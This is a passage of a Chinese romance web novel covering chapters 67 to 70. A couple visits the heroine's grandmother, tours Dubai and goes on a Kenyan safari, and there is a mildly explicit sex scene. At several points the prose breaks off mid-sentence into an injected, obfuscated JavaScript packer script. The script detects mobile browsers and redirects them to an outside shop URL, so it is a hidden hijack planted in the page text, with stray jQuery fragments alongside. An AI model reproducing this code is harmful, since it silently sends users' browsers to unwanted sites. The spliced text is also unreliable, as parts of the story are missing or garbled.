“郑意成自从走出家门,梁冉的父母也开始出手阻挠,说他既然已经能回归正常生活,自家女儿也就仁至义尽了,不需要再为他的后半生负责。他们现在租了房在外面住,还在继续跟梁冉的家人抗争。郑意成在单位的日子也不好过。因为是在出事之前签的合同,所以单位就是再后悔也不能辞退一个弱势人群,只能把他边缘化,他在同事那里也受了很多白眼。” “总之他们真的很不容易,所以我今天才会那么紧张。你再好好回想一下,你们见面之后发生了什么,你还有没有说什么没过脑子的话?” 钟琂努力回想,“没什么特别的,就是正常交流。我看见他手了,但感觉也不是什么大事,就问他要不要喝酒。” “然后呢?” “然后我看他假肢用得挺顺手的,也没主动帮他倒酒,再后来就是接到了你的电话。”钟琂说:“挂断电话之后,他突然神神秘秘地说他知道你们在想什么,就把假肢拆下来用菜单盖着了。” “原来如此。”沈时因哭笑不得,“看来这件事梁冉比郑意成的心结还重。” 钟琂说:“不过我觉得他们一定能修成正果。这么大的事都一起挺过来了,没有什么会再将他们分开。” 沈时因点点头,“我也觉得。如果他们哪天真的结婚了,我就带你一起参加。” 钟琂勾了勾她的手指,“那就说好了。” 窗外月明星稀,他们不知不觉聊到了这个点,钟琂说:“都快两点了,我送你回去。” 沈时因跟着他站起身往外走,“只要我每天熬夜,下次回非洲就不用倒时差。我真是太聪明了。” 钟琂笑着摸摸她的头,一起坐电梯下楼。街道空无一人,沈时因没走几步就说她腿酸了,毕竟陪外婆逛了一天。 钟琂蹲下身,“那你上来,我背你回去。” 沈时因稳稳当当地攀上去,感受到他的背脊,在他耳边问:“这次放假你要不要回一趟美国,陪陪你的父母?” 钟琂说:“不回了。我们一向各忙各的,他们也比你外婆年轻很多。好不容易放假,还是先顾你这头。你要是想见他们,以后有的是机会。” 沈时因缩了缩脖子,“我也没有那么想见他们,就是怕你想他们了。” “比起想他们,我更想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078242|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你待在酒店。” 走到楼下,沈时因从钟琂背上跳下来,脸颊红扑扑的。她抱着钟琂,和他吻别。眼看再亲下去都快三点了,沈时因依依不舍地走上楼,对钟琂挥手:“明天见。” * 第二天沈时因睡到十点才起,在家吃完早饭,第一件事还是跑出去见钟琂。 他们在附近的疾控中心汇合,赶在下班之前打完了黄热疫苗,成功拿到小黄本。中午,沈时因带钟琂去学校旁边的小饭馆吃麻辣香锅,坐下以后,钟琂问:“这也是你以前常来的?” 沈时因摇了摇头,“这都是周末想奢侈一把才会来的高级饭馆,或者有什么大事需要庆祝。” “那一般会有什么大事?” “比如有谁过生日,或者考试考得特别好。” 钟琂没再继续追问,过了一会儿,他忽然开口:“你的生日是什么时候?” “十一月末,还早着呢。” 上次生日,沈时因是一个人在园区宿舍里过的。她买了个小蛋糕回去,但由于平时也经常吃蛋糕,所以没能凸显出这个日子的特别之处。 想到这里,沈时因有些期待地说:“下次生日我们就能一起过了。” 吃完饭,沈时因在路口和钟琂分别,她还需要回家帮忙布置。 回到家,外婆正在进行大扫除。把家里整装一新之后,她将提前买好的食盘摆出来,除了小吃糕点,她还提前卤了牛肉,做成冷盘放好,这应该是她们家有史以来招待客人的最高规格了。 沈时因在旁边打下手,时不时偷吃几个,毫不意外地被外婆打了手,“等客人来了再吃。” 好不容易准备万全,外婆也换上了新衣服。沈时因搬了张凳子坐在防护栏前,翘首以盼着钟琂的到来。 当钟琂出现在楼下时,沈时因激动地站起来,“来了来了。” 祖孙俩站在门口,共同迎接钟琂的到来。进门以后,钟琂恭恭敬敬地叫了声“外婆好”,随后将礼物拿过来,“这是非洲产的茶叶,这些是养生礼盒和按摩仪,还有茶具和首饰。” 除了茶叶从非洲带回来,其它都是前一天他专程去买的。 钟琂被沈外婆邀请着坐下,开始了长辈对晚辈的例行查户口环节,问的问题基本就是家里有几口人、都在做什么工作、年纪和学历等等。 一边吃一边聊,很快就到了该吃晚饭的时间。沈外婆适时起身,“可以出发去饭店了。” 出门以后沈外婆走在最前面,沈时因和钟琂走在后面。他悄悄问沈时因:“我刚才的表现还可以吧?” 沈时因竖起大拇指,“很好。外婆还偷偷跟我说你长得好看,人也踏实。” 钟琂说:“那就好。明天还有活动吗,郑意成约我去游泳。” “你去吧,外婆也说想让我带她去山里的农家乐住几天。” 钟琂犹疑半晌,说:“其实我还有一件事想跟你商量。” “什么?”沈时因停下脚步,前面的沈外婆也转过身,催促道:“怎么不走了?” 钟琂握住沈时因的手往前走,“算了,吃完饭再说。” 67.第 67 章 沈时因特别讨厌钟琂这种说一半留一半的行为。 外婆特地订了一大桌菜,沈时因吃得食不知味。外婆还给钟琂包了一个大红包,沈时因也不好奇里面有多少钱了。她全程胡思乱想,总觉得钟琂要说什么不好的事。 每回她只要有不好的预感,事实总会得到验证并且往更坏的方向狂奔而去。 饭桌上,钟琂和外婆还在轮番敬茶。沈外婆变着花样地想要了解钟琂,想知道这个男人究竟值不值得托付。她与此同时也在替沈时因撑腰,话里话外都在暗示她虽然没爹没娘,但也不是可以任人欺负的。 一顿饭吃了快两个小时,等他们把沈外婆送回家,只剩钟琂和沈时因两个人的时候,沈时因肉眼可见的不太开心了。 钟琂握住她的手,询问道:“回酒店还是找个地方坐坐?” “我们随便走走吧。”沈时因提前给钟琂打起预防针,“不过我警告你最好别说什么让我不高兴的话。” 钟琂笑起来,“你为什么觉得我会惹你生气?” “因为我最近这几天都很开心,每天睁眼就能见到我爱的人,而且一直被我最喜欢的人环绕着。可是这个世界的运行规律就是这样,好不会变得更好,但坏后面还有更坏。” 他们走着走着路过一个小公园,钟琂带着沈时因走进去,找了张湖边长椅坐下。 四周很黑,空气异常宁静。钟琂缓缓开口:“我知道你和家人难得团聚,但这次假期对我们两个人来说也同样珍贵。” 沈时因看不清钟琂的神色,只能从他的语气中推断出这应该是在埋怨……“你觉得我冷落你了?” “不是这个意思。我只是在想……你虽然在非洲工作和生活了一年,但关于它,你好像什么印象也没留下。刚好现在快到八月了,是去看Safari的最好时机。所以我觉得我们能不能预留出几天的时间,提前回去?” 沈时因明白钟琂的意思了,“你是想我们提前几天回到非洲,用那几天去观光?” 钟琂点头,“明明身在非洲,却没见过那些旷野草原,没看过动物迁徙,你不会觉得有点可惜?” 听他这么一说,沈时因也有点被说服了。只是她从来没经历过这种说走就走的旅行,难免担心起实际操作,“可行程不是一般都要提前很久预订吗?现在正值旅游旺季,我们会不会订不到酒店和导游?” “这些你不用担心。我可以联系上次带我和蒋斯年游览的向导,如果他没空也可以给我们推荐别的同事,怎么样都是可以成行的。” 沈时因彻底动摇了,“如果可以的话……总之你先问问,再看看酒店,能行的话我们就去。” 钟琂拿出手机,“那我现在就问。” 他算了算两人打完疫苗的时间,留出余下还能自由活动的日子,如果满打满算的话他们应该能在非洲旅行六天。 钟琂定下日期,给之前的向导发去邮件,顺便也看起了酒店和机票。 “向导说时间对得上,那我就订酒店了。”几句话之间,钟琂顺手把酒店房间也订好了,“你是不是也没去过迪拜?” 沈时因难得有些呆愣地摇头,“除了去非洲,我都没怎么出过远门。” “那我们这次就在迪拜转机。”钟琂的手指停在最后的确认键上,“我买机票了?” “等等……”沈时因觉得这一切都发生得太快了,“这么顺利的吗?” 钟琂以前在非洲深度游过,所以不需要做攻略,其实大多数时候选择最贵的方式总不会出错。他笑着说:“这本来就是很简单的一件事。” 钟琂摁下确认键,买了机票,下一秒就把航班信息发到了她手机里。沈时因坐在旁边,兀自消化着这快节奏的出行方式,“既然要提前走,那剩下的时间我就得多陪陪外婆了。” 钟琂说:“你不用管我。我正好还有些工作,偶尔想出门也可以约上郑意成。” 沈时因还是有点心律不齐,“那我需要准备些什么?” “防晒装备、望远镜和相机……”钟琂说:“你不用想太多,出发之前拿半天时间去采购就行了。” 总而言之,沈时因什么都不用做,只需要带上一个好心情出发。 她一个人静静地坐了会儿,忽然像反应过来了一样浑身一振:“我们居然马上就要一起去旅行了。” 对于沈时因来说,即使去的地方是已经不再陌生的地方,但走的路、遇见的人和看见的风景都会是全新的体验。 钟琂说:“对,我们马上就要一起去旅行了。” 沈时因抱住钟琂,在他嘴唇上亲了一口,“那我就先回家陪外婆了,她早就说想去山上住几天,我早点回去安排安排。” 钟琂掐着沈时因的腰,欺身向前,加深了这个吻。等两个人都有点呼吸不匀了,他才退出来说:“你去吧。” 沈时因说干就干,当天晚上联系好了山里的住宿,隔天早上就带着行李箱和外婆一起坐上了出行的班车。在云雾缭绕的丛林山间,干净清冽的泉水潺潺流过,时间变得很慢,温度也比城市低了好几度。 外婆坐在凉亭里,什么也不做好像就能心情很好,“山里就是凉快,在家吹空调吹得我头疼。” 周围很清静,来住的也基本都是些避暑纳凉的老年人,还有带孩子的。沈时因陪外婆在附近走走逛逛,顺便去看了看班车的起止车次。 根据她的调查,每天最晚下山的班车是九点发车,早上如果要上山那么五点开始就有车次了。回市里的路途不算远,单程四十分钟,班车每隔半小时就有一趟,来回还算方便。 外婆每天睡得早,尤其是在白天要出门活动的情况下,有时候吃完晚饭稍微出去转转,再回来就该洗洗睡了。 沈时因每晚把外婆安顿入睡,再带几件换洗衣服出门,一般都能赶上最晚的那趟班车。她直奔钟琂的酒店陪他过夜,早上再赶最早一班车回山里。 除了第一天,之后的每一天钟琂都会算准时间,提前等在站台,早上也会跟沈时因一起起床,把她送到发车点。 这种分身乏术的情况下,钟琂在床上都不敢折腾到太晚。有天做完躺在一起,钟琂问她:“你每天这么来回跑累不累?” 沈时因说:“不累。如果晚上不能来陪你,那我把你带回国就太亏待你了。” 每天缠绵完,他们还会抱在一起说说话。沈时因小声问他:“你今天怎么过的,又是一直待在酒店房间?” “没有,我和郑意成一起去玩电子游戏了。” 沈时因已经懒得去计较少了一只手的人要如何操控手柄了,“去那种店里玩的?好玩吗?” “挺好玩的,有很多主机游戏可以选。” 沈时因已经快睡着了,她迷迷糊糊地说:“走之前我还要再见见梁冉,你到时候记得提醒我。” “好。”钟琂亲了亲她的脸,“你快睡吧。” 这样的生活过了快十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对。”沈时因说:“好像是世界第一高楼,有你之前在非洲修的那座塔高吗?” “迪拜这座更高一点,有八百多米。”钟琂用手机订了票,对沈时因说:“那就走吧。” 沈时因一路上都在好奇地张望,身边有很多包着头巾、棕色皮肤的中东人,也有像他们这样过来旅游或者务工的外国人。他们置身于高楼大厦之间,穿过皇宫酒店,再经过喷泉广场,沈时因始终紧紧牵着钟琂的手。 当高耸入云的哈利法塔出现在眼前时,沈时因仰着头,很确定地说:“这就是我们的目的地了。” 走进入口,来到建筑物内部。钟琂说:“我们参观完以后可以去二楼吃非洲烤肉。” 沈时因:“……我们就是从非洲回来的,而且马上又要去。那为什么要在迪拜吃非洲烤肉?” 钟琂听她这么一说也觉得有点荒谬,他笑了笑,“上次看你挺爱吃的。” 沈时因没再说话,像是被什么东西吸引了。钟琂接着说:“夏天的灯光秀七点半开始,我们看完之后正好返回机场坐下一班飞机,时间很充裕。” 沈时因还是没反应,钟琂顺着她的视线看去,原来她正望着一家首饰店的橱窗出神。 沈时因不认识这是什么品牌,但宣传照片上的项链好看得让人挪不开目光。 “钟琂,你看。这条项链的设计好像一座桥。” 68.第 68 章 钟琂仔细一看,项链的挂坠被做成了弧形状,整体看上去很像一座倒着的拱桥。如果是自己戴,那么低头的时候会觉得是一座桥,但别人看过来可能会觉得是个被从中间受压弯折的梯形。 沈时因猜测道:“会不会是从七夕节得到的灵感,特地做成了鹊桥的形状?” 钟琂不太确定,“你觉得是什么,那它就是什么。” 项链吊坠有一定宽度,上面镶满了钻石,一看就很贵。沈时因看够了,拉着钟琂的手说:“我们走吧。” 钟琂没往电梯的方向走,反而往前一绕,从店门进去了,“你喜欢我们就进去看看。” 沈时因在后面负隅抵抗,“我就是看看,没多喜欢。别进去了……” 钟琂一迈进去,立即有导购员热情地迎上前接待。他目标很明确地指了指外面的宣传照片,价格也没问就说:“我想买那条项链。” 对面店员一脸歉意,解释说那是秋季新品,由于原材料和制作工艺等等原因,目前还没有正式发售。简而言之,现在不论去全球的任何一家门店都买不到这条项链。 钟琂没想到还会有这种情况,他皱起眉问:“那什么时候才能买?” “预计九月中旬到店,数量不会超过五条,需要帮您登记预定吗?”店员用英文问道。 九月份,那他们早就不在迪拜了。沈时因扯了扯钟琂的衣袖,说:“算了。” 钟琂抬眼扫过品牌名,记下名称,心想还有很多渠道可以买,比如其它国家和城市一定还有品牌店,官网应该也能预定,再不济可以让买手去联系,或是事后再找拍卖行。 离开之前,钟琂还是留下了电话,希望能在正式的发售日收到通知。 他们走出珠宝店,按照事先计划的那样坐上电梯,来到第154层。沈时因的心情完全没受刚才那段小插曲的影响,她很兴奋地眺望出去,将整个城市尽收眼底。 沈时因感叹道:“这恐怕得用上万吨强化钢筋,还要用几百台起重机才能将混凝土垂直泵上来。” 钟琂说:“差不多,钢筋用量可能在六万吨左右,最上层部分用钢骨结构,可以省去一些浇灌混凝土的用量。修建过程也有中国的参与,土建施工就是由江苏集团承建的。” 沈时因油然而生起一股自豪感,“真厉害。” 时间过了七点,他们一起站在玻璃幕墙前看了日落,然后下楼觅食。 由于灯光秀即将开始,他们看来看去发现还是二楼那家非洲烤肉最适合观景。所以即使马上就要抵达非洲,他们也还是走了进去,在这种时候,食物本身已经不再重要,重要的是眼前的美景和身边的人。 迪拜的夜晚华灯璀璨、奢靡繁华,与白天又是很不一样的状态。他们慢悠悠地吃完饭,回到机场正好开始登机。 行李被直挂到下一个航班,这次坐的飞机有两层,沈时因和钟琂走上二层,两人的座位被拼在一起放平,也有单独的盥洗室。 沈时因在飞机上洗完澡,钻进被窝,问钟琂:“你是不是偷偷给我升舱了?” 钟琂不置可否,“迪拜嘛。” 钟琂没有正面回答,但光是这三个字仿佛就能表达很多含义。因为在迪拜,所以就适合挥金如土,哪怕乘坐顶级航空的头等舱,哪怕他要眼睛也不眨一下地给沈时因买十万美金的钻石项链。因为是迪拜,让这一切都变得很合理,沈时因也只能心安理得地享受他的好。 钟琂抬手把头顶的灯光调暗,给沈时因掖了掖被角,“你睡一觉,明天醒来就到了。” “我们明天就能见到野生动物了?” “应该能,”钟琂问:“你很期待?” 沈时因点头:“我非常期待。” * 飞机行驶在万米高空之上,经过一夜的航行,沈时因取下眼罩,懒洋洋地靠在钟琂怀里晕神。 钟琂正在喝咖啡,他轻声问沈时因:“你还睡吗,不睡的话我就给你叫早餐了。” 沈时因其实已经醒了,但她还是闭着眼睛没动,“还有多久落地?” “一个小时左右。” 剩下的时间大概刚好够沈时因起床换衣服,洗漱完再吃个早饭。她坐起身,打开遮光帘,外面已经天光大亮,层层叠叠的云朵就像山峦那样绵延无尽。 沈时因第一次觉得坐长途飞机也不是那么辛苦,她睡眼惺忪地起身洗脸,还顺便化了个妆。 再次回到非洲,沈时因很有经验地进行了全副武装,在吊带外面套上长袖,裙子也换成长裤。这样既能防晒还能防蚊。 非洲的阳光依旧炽烈刺眼,下了飞机,他们来到停车场,找到钟琂的车。钟琂在路上与向导取得联系,径直前往第一个目的地——马赛马拉。 刚开始,车辆行驶得还算平稳,周边也有楼房路人。后来渐渐颠簸起来,轮胎碾压过的地方也变得黄沙漫天,他们正在远离城市,去往最原始最野性的非洲大草原。 这也是沈时因不曾见过和感受过的那一部分。 抵达酒店的时候沈时因浑身都快被颠散架了,负责接待他们的是一个叫Arvin的当地向导,他与钟琂在几年前有过接触,所以这次也很自然地接过行李,与钟琂攀谈起来。 沈时因站在旁边摇摇晃晃,她听见钟琂在介绍自己,说是带女朋友过来,行程最好别太累,还需要包一辆越野车。 沈时因耳边嗡嗡的,仿佛在做英语听力考试。她正发着呆,手里冷不丁被塞了个冰冰凉凉的东西,钟琂说:“这是麻薯冰淇淋,你吃完可能会好受点。” 沈时因的晕车症状其实不太严重,一般缓一缓就好了。她拿起勺子吃了一口,那种湿热躁闷的感觉果然消解了很多。 “我们先去房间休整,下午会有人开车带我们去找动物。”钟琂揽着沈时因的肩,在酒店工作人员的带领下来到了地势较高的一处房间。 沈时因一路走过来,已经觉得很奇妙。这里跟世界上的大多数酒店都不一样,一栋一栋的房子沿途坐落着,都有独立的泳池。打开门走进房里,内部构造也与普通房屋有很大不同。 除了地板、天花板和一部分墙壁,其它空间都是敞开的。房里也没有窗户,原本应该是窗户的地方变成了内外连通的空间。也就是说,可以把这个房间想象成四个不同朝向的阳台被拼在了一起。 不过好在每栋房子之间都隔得很远,平台外面也都被蓊郁的树枝掩映笼罩,所以私密性很能得到保障。 木屋房的正中间是一张大床,上面有悬挂的纱帐。沈时因发现这蚊帐也跟他们平时用的不一样,它是在天花板上挂了一个小小的圆盘,纱帐如果平时不用就会挽起来,等要睡觉的时候再放下来往床的四周铺开,很有种宫廷感。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“看见动物了吗,有什么想去的地方也可以跟Arvin说。”钟琂看向举着望远镜的沈时因,像是怕她无聊。 “没有。”沈时因偏着头,总觉得这处空隙越看越胆战心惊,“如果一会儿真的见到了狮子或者猎豹,它们会不会从这里跳进来,然后把我们撕成碎片?” 沈时因的自我防范意识很强,想象力也很丰富,此时满脑子都是那些血腥画面。 钟琂说:“不会的。野生动物会将我们和这辆车共同视作一个整体,它们无法做到撕碎铁皮,也就不会试图攻击我们。” 钟琂才话音刚落,前方的Arvin忽然发出激动的一声令下。车辆也开始了加速,直奔某个方向而去。 沈时因的心也跟着狂跳,她架上望远镜,不自觉放轻了声音对钟琂说:“我好像看见了,是一只猎豹。” 车身在快要靠近猎豹时缓缓减速,最终停下。附近还栖息着几辆跟他们一样的越野车,里面的观光者也全都屏息凝神,静静地潜伏在四周。 沈时因不敢大声说话,只往外探出头,肆无忌惮地打量这看上去慵懒闲散的猎豹。 那股野性的自然力量并不因为此刻的放松而消减多少,鹰隼般的目光和锋利的爪牙都凸显着它的强大。忽然,原本趴在树旁休息的猎豹站了起来,活动起四肢,并以极快的速度扑了过来。 不过是一眨眼的工夫,猎豹就已经跳上了他们的车皮。它好奇似的往前探着头,却不再前进,而是弯起前肢,就这样趴了下来。 沈时因一动也不敢动,猎豹就在她眼前不到一米的位置,她的手心也出了汗,身体里的每个细胞都在呼喊叫嚣。 沈时因怎么也没想到,旅行第一天竟然就遇到了如此惊心动魄的一幕。 69.第 69 章 钟琂就站在旁边,所以第一时间感受到了她的僵硬和无措。 “它不会过来的。”钟琂轻声说,他随即也不动声色地挡在了沈时因前面。 这种面对面的僵持并未持续太久,没过一会儿,猎豹像是觉得没什么意思,挺直前肢向前伸了个懒腰,转过身施施然地跳下了车。 沈时因这时候才腿软一般跌坐回去,她惊魂未定地对钟琂说:“吓死我了。我知道它不会过来,但是隔得那么近,那种冲击感很难让人心如止水。” 猎豹已经离开,他们的车也需要重新出发,再次去寻找别的动物。 前排的司机和Arvin情绪都很高涨,说是难得遇到这种近距离接触动物的机会,这给今天的Safari开了个好头。 在这种一派热烈的气氛中,Arvin再接再厉,很快就发现了在河边饮水的象群。 钟琂就刚才起就一直握着沈时因的手,时不时偏过头看她,像是在观察她的状态。 “好点了吗,可以站起来看大象了。” 沈时因另一只手里还捏着水瓶,刚才与猎豹对视的心悸感已经消散了许多。她拧好瓶盖说:“缓过来了。” 随着她探出头,一大群正在喝水的大象就这样闯入了她的视线。沈时因只在很小的时候在动物园里见过大象,但那时候见到的大象不像现在这么鲜活自然,它们只在小小的一方空间里木然地走来走去,也很少使用自己的鼻子。 直到这一刻,沈时因才知道大象的鼻子原来这么有用。它们会用长而灵活的鼻子卷起水喂进嘴里,附近如果有小鸟靠近,它们也会挥舞起鼻子将不速之客赶走,如果同伴需要帮助,鼻子也能伸过去帮忙挠痒痒。 沈时因惊叹地看了许久,忽然注意到象群中间有一头很小的象宝宝。它还不太能熟练使用自己的鼻子,一甩一甩的,好几次都差点把自己给绊倒。 沈时因兴奋地指给钟琂看:“你看,好可爱!” 钟琂顺着她手指的方向看过去,小象正好放弃了尝试使用鼻子,转而选择更简单粗暴的方式,将整个脑袋都埋进了水里,吨吨吨地喝水。 和沈时因在一起,好像总能有不同的新奇体验。即便是已经来过一次的地方,因为身边的人发生了变化,所以这片草原变得更辽阔,吹过来的风更清新怡人,就连动物也好像多通了几分人性。 因为想留下来多看看象群,他们索性站着打开酒店打包的餐食,把车的顶板当桌子,就这样吃了起来。 沈时因每吃几口就要抬起头看看,实时播报小象的情况,“它现在喝饱水了,又开始练习怎么使用鼻子。” 过了一会儿,沈时因又说:“它快要成功了,走路不会被鼻子绊倒了。” 等象群离开的时候,太阳也快要下山,一行人这才依依不舍地开着车沿着河道往回走。 彻底天黑之前,沈时因还看见了很多很多的河马和犀牛,其中有两头白犀牛是世界上仅存的最后两只,可它们都为雌性,这意味着无法繁殖,这一物种即将走向灭绝。 沈时因还在路上看见一头犀牛被悬挂在车上,像是要被运送到哪里。 “他们怎么抓了一头犀牛?”沈时因问。 钟琂说:“因为总有偷猎者,它们的犀牛角会被割下来。为了保护它们所以要送往森林深处。” 夜幕快要降临,司机驾驶着车辆返回酒店。一到晚上,非洲原野就变得有些让人惶惶不安,黑暗中可能隐藏着许多虎视眈眈的野兽。一下车,酒店立即派了持枪的护卫过来。如果晚上要出门也必须提前联系前台,护卫将会全程陪同。 沈时因和钟琂来到餐厅,随便吃了点东西,再由护卫护送他们回到房间。 “钟琂,你看,天上好多星星。”沈时因在路上抬起了脸。 星星都已经不足以形容沈时因此刻所看到的,她甚至可以说自己看见了银河。那些带着光晕的繁星散落在天空,汇成了一幅熠熠生辉的深邃画卷。 回到半露天的房间,沈时因铺了张毯子躺在地上,在这样的星空之下,她都舍不得睡觉了。 沈时因从小在城市长大,来了非洲也居住在高度发展的园区里,周围全是塔吊和射灯。她从来没有看过这样摄人心魄的夜空,就好像整个宇宙都在她眼前铺展开了。 钟琂拿来了枕头,垫在沈时因的头下面,他也挨着她躺下来,“地板会不会太硬了?” “还好,”沈时因目不转睛地看着天空,“你今天不用检查邮件?” 钟琂这一整天都没有打开电脑,他说:“在这种地方使用电子产品,总觉得有点浪费。” 沈时因很能理解他的心情,“在这种夜空下睡觉,我也觉得很浪费。” 所以即使已经很累很困,她还是舍不得闭上眼睛。 钟琂抱着沈时因,柔声说:“你如果困了就在这里睡,我等你睡着了再抱你去床上。” 他还是把一只手举着,这样就算有蚊子过来,也会先咬他。 沈时因靠在钟琂的胸口,靠着他问:“明天有什么安排,需要早起吗?” “Arvin说带我们去看角马。应该不用起得太早,但角马过河这件事不确定性太大,不一定能刚好看到,你不要抱太大希望。”钟琂在她脸上亲了亲,“总之我明天会叫你起床的。” 沈时因不太记得自己是什么时候睡着的,只依稀感觉半夜回到了柔软的大床,她翻了个身,抱着钟琂又睡着了。 可令她没想到的是,钟琂口中叫她起床的方式会是这样……半梦半醒之间,沈时因感觉到有人在舔她。 沈时因还以为自己做了春/梦,舒服地蜷起了膝盖,整个后腰都向上抬了起来。可这种感觉越来越清晰真实,沈时因腿内侧的皮肤甚至刮过了钟琂的头发。 她迷蒙地睁开眼睛,很确定这不是在做梦了。外面的天已经亮了,阳光洒进来,伴随着清晨的微风,把纱帐的一角吹拂起来。 沈时因向外面看去,也就是在这个时候,她猝不及防地对上了另一双眼睛…… 沈时因被吓了一跳,不自觉惊叫出声,这番动静也“惊醒”了下面的钟琂。他扯过被子盖在沈时因身上,还以为是哪个不长眼的人在偷看,正要回过身发作,转头一看也怔住了。 房屋外面的长颈鹿正悠闲地嚼着树叶,它不经意地从旁路过,像是被床上起伏的人影所吸引,所以驻足观赏了起来。 对方只是长颈鹿,就算多看几眼也总不能跑去对它兴师问罪。于是钟琂又趴了回去。 沈时因捂着脸,实在无法做到忽视这个“观众”,她往后缩了缩,“不要了,它还在看……” “你管它做什么,它又不会说话。” 大概是因为太过羞愤,沈时因这次的高/潮到得比以往都快,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127687|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她浑身战栗着哆嗦起来时,长颈鹿好像也终于看够了,心满意足地抬起头,伸出舌头往上一卷,叼着根树枝踱步离开了。 沈时因掀开帷帐下床,洗完澡出来还在向钟琂发泄不满:“这很奇怪,你知道吗?我不想被别人看见。” “那也不是人,”钟琂振振有词,“说不定还能让动物学点新知识,比如舌头不止能用来吃东西。” 沈时因站在地板上穿衣服,“我以前怎么没发现你这个人这么无赖。” 钟琂从行李箱里拿了一沓零钱出来,应该是今天出门要给服务人员的小费。沈时因走到镜子前擦防晒霜,“几点了?” “九点半。”钟琂说:“时间还早,你不用着急。” 沈时因收拾妥当,两人一起去餐厅吃了早午饭,酒店照例帮忙打包了些吃的,再把人送到车上。 这次坐了很久的车,他们来到一个类似于热气球营地的地方。Arvin带他们走到一个等待区域,说现在需要等,只要成群的角马开始过河,他们就可以乘坐热气球到天上观看。 沈时因吃着冰淇淋,等Arvin走了以后问钟琂:“那如果角马一整天都不出现怎么办?” “应该不会,Arvin刚才说得信誓旦旦。他是个很有经验的向导。” 沈时因其实还没坐过热气球,就算看不到角马,就这样坐上去飞到天空中,看看非洲风光她觉得也不错。 毕竟天河之渡是一件可遇不可求的事,不是每个来非洲的人都一定能看到。 等了大概半个多小时,Arvin突然很激动地冲过来,示意他们赶紧坐上热气球,成群的角马即将到来。 有一个热气球已经准备好了,下方燃烧器加热球囊内的空气,撑起了整个球面。沈时因被钟琂抱上去,他们刚坐上没多久,整个热气球都驶离地面,缓慢升上空中。 吊篮里,除了沈时因、钟琂和Arvin,还有一个负责操控方向的当地人。他手法熟练地将他们带到了一条湍急的河流上空,让热气球漂浮在附近。 沈时因看来看去,一只角马也没看见。“我怎么什么都没看到?” 钟琂往前一指,“它们快过来了。” 沈时因抬起头,放眼望去,那群黑压压的角马由远及近,场面壮观得就像黑云压阵。 光是这么一看,至少有成千上万头角马呼啸而来。它们踏着马蹄,疾驰而来时仿佛整个大地都在震颤。 它们毫不犹豫地踏进了河流之中,打头的几只角马刚没过半个身子,河里的急流猛打过来,顷刻间就将它们掀翻了过去。可是后面的角马没有一只退缩,它们接二连三地踏入急流,用身体与意志做着抗争。 最初倒下的一只角马也很快站了起来,它们互相驮着,一个接着一个奋力往对岸奔去。 可是对于角马来说,危险可不止急流,河底潜伏着的鳄鱼早已蓄势待发。沈时因亲眼目睹一只角马身形一歪,脚下好像被什么东西缠住,让它动弹不得。 沈时因的一颗心也跟着提起来,她看见那只角马痛苦难当地挣扎起来,想要极力挣脱水里的獠牙。 沈时因有些不忍心再看下去,可也就是在这短暂几秒钟的拉锯之中,角马被水中霸主彻底拖了下去,下一刻,那一小片区域冒出鲜红的血水。 沈时因转头靠在了钟琂怀里,她突然有点想哭,“这也太残忍了。” 70.第 70 章 其实不只是沈时因看见的那头角马遭受到了攻击,没能成功渡河的角马还有很多。为了寻找食物和更好的栖身之所,它们不得不冒着生命危险渡河,用最惨烈的代价完成迁徙。 钟琂抚了抚沈时因的背,轻声说:“你不想看那我们就不看了,可以乘坐热气球去别的地方游览。” 沈时因的确很受触动,但她也不是承受能力那么差的人,更何况就算不看,也不代表事情就没有发生了。她收回抱住钟琂的手,“还是看吧,好不容易遇到了。” 沈时因趴在吊篮边缘往下看,大自然最原始最震撼的场景就在她的脚下展开,令人心潮澎湃。 “我总觉得这幅画面自带bgm,我的脑海里现在就在播放《狮子王》里面的生命循环。” 钟琂说:“你怎么知道我们明天就要去《狮子王》的拍摄地了?” “真的?”虽然没有提前沟通过,但钟琂的每一步安排都意外地很能让沈时因惊喜,“我小时候可喜欢看这部电影了。不过我们是不是就要离开现在住的酒店了?” 沈时因很喜欢他们住的这个野奢酒店,哪怕一整天都窝在房间什么也不做她也愿意,只不过钟琂从来不会无所事事地过一天。 “明天还有最后一次Safari,下午晚一点出发去下一个目的地。” 沈时因突然意识到他们的行程也快过半了,原来她舍不得的不只有酒店,还有和钟琂在一起朝夕相处的日子。一旦回到园区,他们又要回到白天装不熟,晚上偷偷摸摸见面的生活。 “怎么突然叹起气了,”钟琂问:“你还在为这些角马难过?” 沈时因摇了摇头,“没有,我居然在开始怀念了。虽然旅行还没结束,但我已经能够想见以后的我会多么想念这段和你在一起的时光。” “你要是喜欢,我们以后还可以再来。”钟琂不觉得这有什么好悲伤的,“我们这几天应该好好享受旅程。” 